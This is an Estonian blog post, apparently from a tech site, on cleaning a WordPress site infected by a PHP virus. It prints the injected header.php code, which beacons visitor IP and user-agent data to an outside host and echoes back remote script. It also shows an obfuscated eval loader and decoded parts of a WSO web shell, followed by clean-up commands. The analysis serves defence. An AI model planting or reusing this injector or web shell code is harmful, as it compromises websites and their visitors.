eemalda WordPress PHP Virus

See õpetus tutvustab konkreetset juhtumit, kus ajaveebi WordPress see oli nakatunud. Eemaldus WordPress PHP viirus.

Teisel päeval märkasin kahtlast koodi, mis näib olevat PHP viirus WordPress. Järgmine PHP kood oli olemas header.php, enne rida </head>.

<?php $wp_rssh = 'http'; $wp_gt = 'web'; error_reporting(0); ini_set('display_errors',0); $wp_uagent = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Firefox|MSIE/i', $wp_uagent) && preg_match ('/ NT/i', $wp_uagent))){
$wp_gturl=$wp_rssh."://".$wp_gt.$wp_rssh."s.com/".$wp_gt."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_uagent);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_gturl);
curl_setopt ($ch, CURLOPT_TIMEOUT, 10); $wp_cntnt = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_cntnt,1,3) === 'scr' ){ echo $wp_cntnt; } ?>

See on PHP-kood, mis näeb välja nagu prooviks hankida ressursi sisu välisest serverist, kuid URL-ile viitav osa on puudulik.

Töömehhanism on mõnevõrra keerulisem ja teeb seda WordPress PHP viirus on mõjutatud saitide külastajatele nähtamatu. Selle asemel sihib see otsingumootoreid (Google) ja toob kaudselt kaasa mõjutatud veebisaitide külastajate arvu olulise vähenemise.

Pahavara üksikasjad WordPress PHP Virus

1. Ülaltoodud kood on olemas header.php.

2. Serverisse ilmus fail wp-log.php kaustas wp-includes.

3. wp-log.php sisaldab krüptitud koodi, kuid mida on suhteliselt lihtne dekrüpteerida.

<?php eval(gzinflate(base64_decode('7b1rd../Fw=='))) ?>

Dekrüpteerige pahavara kood aadressilt wp-log.php :

<?php
$auth_pass = "md5password";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler" );
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');

if(get_magic_quotes_gpc()) {
    function WSOstripslashes($array) {
        return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
    }
    $_POST = WSOstripslashes($_POST);
    $_COOKIE = WSOstripslashes($_COOKIE);
}

function wsoLogin() {
    die("
<pre align=center-->

<form method="post"><input name="pass" type="password" /><input type="submit" value="" /></form>" );
}

function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}

if(!empty($auth_pass)) {
if(isset($_POST['pass']) &amp;&amp; (md5($_POST['pass']) == $auth_pass))
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);

if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
wsoLogin();
}

if(strtolower(substr(PHP_OS,0,3)) == "win" )
$os = 'win';
else
$os = 'nix';

$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);

$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\\", "/", $home_cwd);
$cwd = str_replace("\\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
?>

Tundub, et tegemist on pahatahtliku PHP-skriptiga, mis sisaldab koodi autentimise ning serveri failide ja kataloogidega seotud toimingute haldamiseks. Väga lihtsalt on näha, et see skript sisaldab selliseid muutujaid nagu $auth_pass (autentimisparool), $default_action (vaiketoiming), $default_use_ajax (kasutades vaikimisi Ajaxi) ja $default_charset (tähemärgi vaikeseade).

Ilmselgelt on sellel skriptil jaotis, mis kontrollib HTTP kasutajaagendeid, et blokeerida juurdepääs teatud veebirobotidele, näiteks otsingumootoritele. Sellel on ka jaotis, mis kontrollib PHP turvarežiimi ja määrab teatud töökataloogid.

4. Kui brauseris avatakse aadress wp-log.php, ilmub veebileht väljaga logi. Esmapilgul näib see olevat failihaldur, mille kaudu saab uusi faile hõlpsasti sihtserverisse üles laadida.

Kuidas veebisaiti viirusest eemaldada WordPress?

Manuaalne viirusetõrjeprotsess hõlmab alati esmalt haavatavuse avastamist ja mõistmist.

1. Looge kogu veebisaidi jaoks varukoopia. See peab hõlmama nii faile kui ka andmebaasi.

2. Määrake ligikaudne viiruse olemasolu ja otsige ligikaudse aja jooksul veebiserverist muudetud või äsja loodud faile.

Näiteks kui soovite faile näha .php loodud või muudetud eelmisel nädalal, käivitage serveris käsk:

find /your/web/path -type f -mtime -7 -exec ls -l {} \; | grep "\.php$"

See on lihtne meetod failide avamiseks WordPress nakatunud ja need, mis sisaldavad pahavara koodi.

3. Kontrollige faili .htaccess kahtlaste direktiivide kohta. Lubade read või skripti täitmine.

4. Kontrollige andmebaasi. Täiesti võimalik, et mõned postitused ja leheküljed WordPress redigeerida pahavaraga või lisada uusi kasutajad rolliga administrator.

5. Kontrollige kaustade ja failide kirjutamisõigusi. chmod şi chown.

Soovitatavad õigused on: 644 failidele ja 755 kataloogidele.

find /web/root/public/ -type f -exec chmod 644 {} \;
find /web/root/public/ -type d -exec chmod 755 {} \;

6. Värskendage kõik WordPress Plugins / WordPress Themes.

Seotud: Fix Redirect WordPress Hack 2023 (Virus Redirect)

Need on "põhilised" meetodid veebisaidi / ajaveebi viirusetõrjeks WordPress. Kui teil on probleeme ja vajate abi, on kommentaaride jaotis avatud.

Tehnoloogiafännina olen alates 2006. aastast rõõmuga kirjutanud lehel StealthSettings.com. Mul on laialdased kogemused operatsioonisüsteemides: macOS, Windows ja Linux, samuti programmeerimiskeeltes ja blogiplatvormides (WordPress) ning veebipoodide ja platvormidega (WooCommerce, Magento, PrestaShop).

kuidas » WordPress » eemalda WordPress PHP Virus
Jäta kommentaar